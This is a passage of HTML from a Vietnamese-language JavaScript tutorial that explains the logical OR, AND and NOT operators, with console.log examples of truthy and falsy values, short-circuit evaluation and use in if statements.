punctuation">(</span><span class="token keyword">null</span> <span class="token operator">||</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 2 (giá trị truthy đầu tiên là 2)</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">""</span> <span class="token operator">||</span> <span class="token keyword">undefined</span> <span class="token operator">||</span> <span class="token number">0</span> <span class="token operator">||</span> <span class="token number">10</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 10 (giá trị truthy đầu tiên là 10)</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token keyword">null</span> <span class="token operator">||</span> <span class="token number">100</span> <span class="token operator">||</span> <span class="token number">5</span> <span class="token operator">||</span> <span class="token keyword">undefined</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 100 (giá trị truthy đầu tiên là 100)</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">""</span> <span class="token operator">||</span> <span class="token number">0</span> <span class="token operator">||</span> <span class="token keyword">null</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// null (không có giá trị truthy, trả về giá trị cuối cùng)</span></code></pre></div> <h4 id="ứng-dụng-của-toán-tử-or-trong-javascript-là-gì" style="position:relative;"><a href="#%E1%BB%A9ng-d%E1%BB%A5ng-c%E1%BB%A7a-to%C3%A1n-t%E1%BB%AD-or-trong-javascript-l%C3%A0-g%C3%AC" aria-label="ứng dụng của toán tử or trong javascript là gì permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Ứng dụng của toán tử OR trong JavaScript là gì?</h4> <h5 id="toán-tử-or-được-dùng-nhiều-với-câu-lệnh-if" style="position:relative;"><a href="#to%C3%A1n-t%E1%BB%AD-or-%C4%91%C6%B0%E1%BB%A3c-d%C3%B9ng-nhi%E1%BB%81u-v%E1%BB%9Bi-c%C3%A2u-l%E1%BB%87nh-if" aria-label="toán tử or được dùng nhiều với câu lệnh if permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Toán tử OR được dùng nhiều với câu lệnh <code>if</code>.</h5> <p>Nếu bạn chưa biết câu lệnh <code>if</code> là gì, thì đơn giản câu lệnh <code>if</code> dùng để kiểm tra điều kiện, nếu <strong>đúng</strong> sẽ thực hiện một hành động (mình sẽ có bài viết chi tiết về <code>if</code> sau).</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token comment">/* true */</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// làm gì đó ở đây</span> <span class="token punctuation">}</span></code></pre></div> <p>Ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> a <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span> <span class="token keyword">const</span> b <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>a <span class="token operator">||</span> b<span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"truthy!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// câu lệnh này được thực hiện vì 1 || 0 trả về 1 - là truthy.</span> <span class="token punctuation">}</span></code></pre></div> <p>Ví dụ kết hợp <a href="/toan-tu-so-sanh-trong-javascript/">toán tử so sánh</a>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> hour <span class="token operator">=</span> <span class="token number">20</span><span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>hour <span class="token operator">&lt;</span> <span class="token number">9</span> <span class="token operator">||</span> hour <span class="token operator">></span> <span class="token number">17</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Ngoài giờ làm việc"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// câu lệnh này được thực hiện</span> <span class="token punctuation">}</span></code></pre></div> <blockquote> <p>📝 <strong>Chú ý</strong>: toán tử so sánh có độ ưu tiên cao hơn toán tử logic, nên toán tử so sánh được thực hiện trước toán tử OR.</p> </blockquote> <p>Vì <code>hour</code> bằng <code>20</code> nên <code>hour &#x3C; 9</code> là <code>false</code> và <code>hour > 17</code> là <code>true</code>. Nghĩa là <code>hour &#x3C; 9 || hour > 17</code> có thể quy đổi thành <code>false || true</code>. Suy ra, kết quả cuối cùng là <code>true</code>.</p> <p>Do đó, câu lệnh <code>console.log("Ngoài giờ làm việc")</code> được thực hiện.</p> <h5 id="toán-tử-or-được-dùng-để-lấy-ra-giá-trị-truthy-đầu-tiên-trong-các-giá-trị" style="position:relative;"><a href="#to%C3%A1n-t%E1%BB%AD-or-%C4%91%C6%B0%E1%BB%A3c-d%C3%B9ng-%C4%91%E1%BB%83-l%E1%BA%A5y-ra-gi%C3%A1-tr%E1%BB%8B-truthy-%C4%91%E1%BA%A7u-ti%C3%AAn-trong-c%C3%A1c-gi%C3%A1-tr%E1%BB%8B" aria-label="toán tử or được dùng để lấy ra giá trị truthy đầu tiên trong các giá trị permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Toán tử OR được dùng để lấy ra giá trị <strong>truthy</strong> đầu tiên trong các giá trị.</h5> <p>Ví dụ bài toán hiển thị tên người dùng trên trang web, biết thông tin người dùng có hai trường liên quan đến tên là <code>fullName</code> và <code>nickName</code>.</p> <p>Ưu tiên hiển thị tên <code>fullName</code> trước. Nếu <code>fullName</code> rỗng thì hiển thị <code>nickName</code>. Nếu <code>nickName</code> cũng rỗng thì hiển thị "Người dùng ẩn danh".</p> <p>Với bài toán này, bạn có thể sử dụng toán tử OR như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> fullName <span class="token operator">=</span> <span class="token string">""</span><span class="token punctuation">;</span> <span class="token keyword">const</span> nickName <span class="token operator">=</span> <span class="token string">"jsDev"</span><span class="token punctuation">;</span> <span class="token keyword">const</span> displayName <span class="token operator">=</span> fullName <span class="token operator">||</span> nickName <span class="token operator">||</span> <span class="token string">"Người dùng ẩn danh"</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>displayName<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// jsDev</span></code></pre></div> <h5 id="toán-tử-or-có-thể-dùng-cho-short-circuit-evaluation" style="position:relative;"><a href="#to%C3%A1n-t%E1%BB%AD-or-c%C3%B3-th%E1%BB%83-d%C3%B9ng-cho-short-circuit-evaluation" aria-label="toán tử or có thể dùng cho short circuit evaluation permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Toán tử OR có thể dùng cho "short-circuit evaluation"</h5> <p>Đặc điểm của toán tử OR trong JavaScript là sẽ xử lý các toán hạng cho đến khi tìm được giá trị <strong>truthy</strong> mới thôi.</p> <p>Nhưng bạn cần chú ý, <strong>toán hạng</strong> ở đây không chỉ là giá trị, mà còn có thể là một biểu thức gán, hàm hoặc một câu lệnh,...</p> <p>Ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token boolean">true</span> <span class="token operator">||</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Câu lệnh này không được thực hiện"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// (1)</span> <span class="token boolean">false</span> <span class="token operator">||</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Câu lệnh này được thực hiện"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// (2)</span></code></pre></div> <p>Câu lệnh <code>console.log</code> (1) không được thực hiện. Vì toán tử OR gặp giá trị <code>true</code> đầu tiên, sẽ dừng lại và trả về giá trị <code>true</code> luôn, không xử lý gì toán hạng tiếp theo.</p> <p>Câu lệnh <code>console.log</code> (2) được thực hiện. Vì toán tử OR gặp giá trị <code>false</code> đầu tiên. Đây là giá trị <strong>falsy</strong> nên toán tử OR tiếp tục xử lý toán hạng thứ hai.</p> <p>Vì vậy, câu lệnh <code>console.log("Câu lệnh này được thực hiện")</code> được thực hiện.</p> <blockquote> <p>💡 Tổng quát, tính năng này được dùng để thực hiện một hành động nếu điều kiện bên trái là <strong>falsy</strong>.</p> <p>Tuy nhiên để dễ theo dõi code hơn, mình khuyên bạn nên sử dụng <code>if</code> thay vì dùng toán tử OR làm "short-circuit evaluation".</p> </blockquote> <h3 id="toán-tử-and-" style="position:relative;"><a href="#to%C3%A1n-t%E1%BB%AD-and-" aria-label="toán tử and permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Toán tử AND (<code>&#x26;&#x26;</code>)</h3> <p>Toán tử AND trong JavaScript kí hiệu là <code>&#x26;&#x26;</code> (tạm dịch là toán tử "và").</p> <p>Trong lập trình nói chung, toán tử AND trả về giá trị <code>true</code> nếu cả hai toán hạng là <code>true</code>, ngược lại sẽ trả về <code>false</code>.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token boolean">true</span> <span class="token operator">&amp;&amp;</span> <span class="token boolean">true</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token boolean">true</span> <span class="token operator">&amp;&amp;</span> <span class="token boolean">false</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token boolean">false</span> <span class="token operator">&amp;&amp;</span> <span class="token boolean">true</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token boolean">false</span> <span class="token operator">&amp;&amp;</span> <span class="token boolean">false</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span></code></pre></div> <p>Ngoài ra, bạn cũng có thể kết hợp nhiều toán tử AND:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token boolean">true</span> <span class="token operator">&amp;&amp;</span> <span class="token boolean">true</span> <span class="token operator">&amp;&amp;</span> <span class="token boolean">true</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token boolean">true</span> <span class="token operator">&amp;&amp;</span> <span class="token boolean">false</span> <span class="token operator">&amp;&amp;</span> <span class="token boolean">true</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token boolean">false</span> <span class="token operator">&amp;&amp;</span> <span class="token boolean">true</span> <span class="token operator">&amp;&amp;</span> <span class="token boolean">false</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token boolean">false</span> <span class="token operator">&amp;&amp;</span> <span class="token boolean">false</span> <span class="token operator">&amp;&amp;</span> <span class="token boolean">false</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span></code></pre></div> <h4 id="quá-trình-xử-lý-của-toán-tử-and-" style="position:relative;"><a href="#qu%C3%A1-tr%C3%ACnh-x%E1%BB%AD-l%C3%BD-c%E1%BB%A7a-to%C3%A1n-t%E1%BB%AD-and-" aria-label="quá trình xử lý của toán tử and permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Quá trình xử lý của toán tử AND (<code>&#x26;&#x26;</code>)</h4> <p>Toán tử AND trong JavaScript sẽ tìm và trả về giá trị <strong>falsy</strong> đầu tiên. Nếu không có giá trị <strong>falsy</strong> nào thì kết quả sẽ là giá trị của toán hạng cuối cùng.</p> <blockquote> <p><strong>Quá trình xử lý như sau</strong>:</p> <ul> <li>Thứ tự thực hiện <strong>từ trái sang phải</strong>.</li> <li>Lần lượt chuyển mỗi toán hạng về kiểu boolean. <ul> <li>Nếu kết quả là <code>false</code> thì trả về giá trị gốc của toán hạng đó và dừng lại.</li> <li>Nếu kết quả là <code>true</code> thì tiếp tục thực hiện với toán hạng tiếp theo.</li> </ul> </li> <li>Nếu không có giá trị <strong>falsy</strong> nào thì kết quả trả về là giá trị của toán hạng cuối cùng.</li> </ul> </blockquote> <p>Ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token number">1</span> <span class="token operator">&amp;&amp;</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 0 (giá trị falsy đầu tiên là 0)</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token keyword">null</span> <span class="token operator">&amp;&amp;</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// null (giá trị falsy đầu tiên là null)</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token number">10</span> <span class="token operator">&amp;&amp;</span> <span class="token string">""</span> <span class="token operator">&amp;&amp;</span> <span class="token keyword">undefined</span> <span class="token operator">&amp;&amp;</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// "" (giá trị falsy đầu tiên là "")</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"n"</span> <span class="token operator">&amp;&amp;</span> <span class="token keyword">undefined</span> <span class="token operator">&amp;&amp;</span> <span class="token number">10</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// undefined (giá trị falsy đầu tiên là undefined)</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token number">10</span> <span class="token operator">&amp;&amp;</span> <span class="token string">"a"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// "a" (không có giá trị falsy, trả về giá trị cuối cùng)</span></code></pre></div> <h4 id="ứng-dụng-của-toán-tử-and-trong-javascript-là-gì" style="position:relative;"><a href="#%E1%BB%A9ng-d%E1%BB%A5ng-c%E1%BB%A7a-to%C3%A1n-t%E1%BB%AD-and-trong-javascript-l%C3%A0-g%C3%AC" aria-label="ứng dụng của toán tử and trong javascript là gì permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Ứng dụng của toán tử AND trong JavaScript là gì?</h4> <h5 id="toán-tử-and-được-dùng-nhiều-với-câu-lệnh-if" style="position:relative;"><a href="#to%C3%A1n-t%E1%BB%AD-and-%C4%91%C6%B0%E1%BB%A3c-d%C3%B9ng-nhi%E1%BB%81u-v%E1%BB%9Bi-c%C3%A2u-l%E1%BB%87nh-if" aria-label="toán tử and được dùng nhiều với câu lệnh if permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Toán tử AND được dùng nhiều với câu lệnh <code>if</code>.</h5> <p>Tương tự như toán tử OR ở trên, toán tử AND cũng hay dùng với câu lệnh <code>if</code></p> <p>Ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> a <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span> <span class="token keyword">const</span> b <span class="token operator">=</span> <span class="token string">"hello"</span><span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>a <span class="token operator">&amp;&amp;</span> b<span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"truthy!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// câu lệnh trên được thực hiện vì 1 &amp;&amp; "hello" trả về "hello" - là truthy.</span> <span class="token punctuation">}</span></code></pre></div> <p>Ví dụ kết hợp <a href="/toan-tu-so-sanh-trong-javascript/">toán tử so sánh</a>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> hour <span class="token operator">=</span> <span class="token number">12</span><span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>hour <span class="token operator">>=</span> <span class="token number">9</span> <span class="token operator">&amp;&amp;</span> hour <span class="token operator">&lt;=</span> <span class="token number">17</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Trong giờ làm việc"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// câu lệnh này được thực hiện</span> <span class="token punctuation">}</span></code></pre></div> <blockquote> <p>📝 <strong>Chú ý</strong>: toán tử so sánh có độ ưu tiên cao hơn toán tử logic, nên toán tử so sánh được thực hiện trước toán tử AND.</p> </blockquote> <p>Vì <code>hour</code> bằng <code>12</code> nên <code>hour >= 9</code> là <code>true</code> và <code>hour &#x3C;= 17</code> là <code>true</code>. Nghĩa là <code>hour >= 9 &#x26;&#x26; hour &#x3C;= 17</code> có thể quy đổi thành <code>true &#x26;&#x26; true</code>. Suy ra, kết quả cuối cùng là <code>true</code>.</p> <p>Do đó, câu lệnh <code>console.log("Trong giờ làm việc")</code> được thực hiện.</p> <h5 id="toán-tử-and-có-thể-dùng-cho-short-circuit-evaluation" style="position:relative;"><a href="#to%C3%A1n-t%E1%BB%AD-and-c%C3%B3-th%E1%BB%83-d%C3%B9ng-cho-short-circuit-evaluation" aria-label="toán tử and có thể dùng cho short circuit evaluation permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Toán tử AND có thể dùng cho "short-circuit evaluation"</h5> <p>Tương tự như toán tử OR, toán tử AND cũng có thể dùng cho "short-circuit evaluation".</p> <p>Vì đặc điểm của toán tử AND trong JavaScript là sẽ xử lý các toán hạng cho đến khi tìm được giá trị <strong>falsy</strong> mới thôi.</p> <p>Ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token boolean">true</span> <span class="token operator">&amp;&amp;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Câu lệnh này được thực hiện"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// (1)</span> <span class="token boolean">false</span> <span class="token operator">&amp;&amp;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Câu lệnh này không được thực hiện"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// (2)</span></code></pre></div> <p>Câu lệnh <code>console.log</code> (1) được thực hiện. Vì toán tử AND gặp giá trị <code>true</code> đầu tiên. Đây là giá trị <strong>truthy</strong> nên toán tử AND tiếp tục xử lý toán hạng thứ hai. Vì vậy, câu lệnh <code>console.log</code> (1) được thực hiện.</p> <p>Câu lệnh <code>console.log</code> (2) không được thực hiện. Vì toán tử AND gặp giá trị <strong>falsy</strong> đầu tiên. Nên dừng lại luôn và không xử lý toán tử thứ hai.</p> <blockquote> <p>💡 Tổng quát, tính năng này được dùng để thực hiện một hành động nếu điều kiện bên trái là <strong>truthy</strong>.</p> <p>Để dễ theo dõi code hơn thì mình khuyên bạn nên sử dụng <code>if</code> thay vì dùng toán tử AND làm "short-circuit evaluation".</p> </blockquote> <h3 id="toán-tử-not-" style="position:relative;"><a href="#to%C3%A1n-t%E1%BB%AD-not-" aria-label="toán tử not permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Toán tử NOT (<code>!</code>)</h3> <p>Toán tử NOT trong JavaScript kí hiệu là <code>!</code> (tạm dịch là toán tử "phủ định").</p> <p>Trong lập trình nói chung, toán tử NOT trả về giá trị <code>true</code> nếu toán hạng là <code>false</code> và trả về <code>false</code> nếu toán hạng là <code>true</code>.</p> <p>Vì là toán tử một ngôi, nên toán tử NOT chỉ chứa một toán hạng, ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token operator">!</span><span class="token boolean">true</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token operator">!</span><span class="token boolean">false</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span></code></pre></div> <blockquote> <p><strong>Quá trình xử lý của toán tử NOT như sau</strong>:</p> <ul> <li>Chuyển giá trị của toán hạng về dạng boolean: <code>true</code> hoặc <code>false</code>.</li> <li>Rồi trả về giá trị ngược lại.</li> </ul> </blockquote> <p>Ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token operator">!</span><span class="token string">"hello"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false ("hello" là truthy)</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token operator">!</span><span class="token number">100</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false (100 là truthy)</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token operator">!</span><span class="token string">""</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true ("" là falsy)</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token operator">!</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true (0 là falsy)</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token operator">!</span><span class="token keyword">null</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true (null là falsy)</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token operator">!</span><span class="token keyword">undefined</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true (undefined là falsy)</span></code></pre></div> <blockquote> <p>Nếu bạn sử dụng hai toán tử NOT <code>!!</code> thì nó sẽ có tác dụng chuyển đổi kiểu dữ liệu về giá trị boolean, giống hàm <code>Boolean()</code> mà mình đã nhắc ở đầu.</p> <p>Ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token operator">!</span><span class="token operator">!</span><span class="token string">"hello"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token 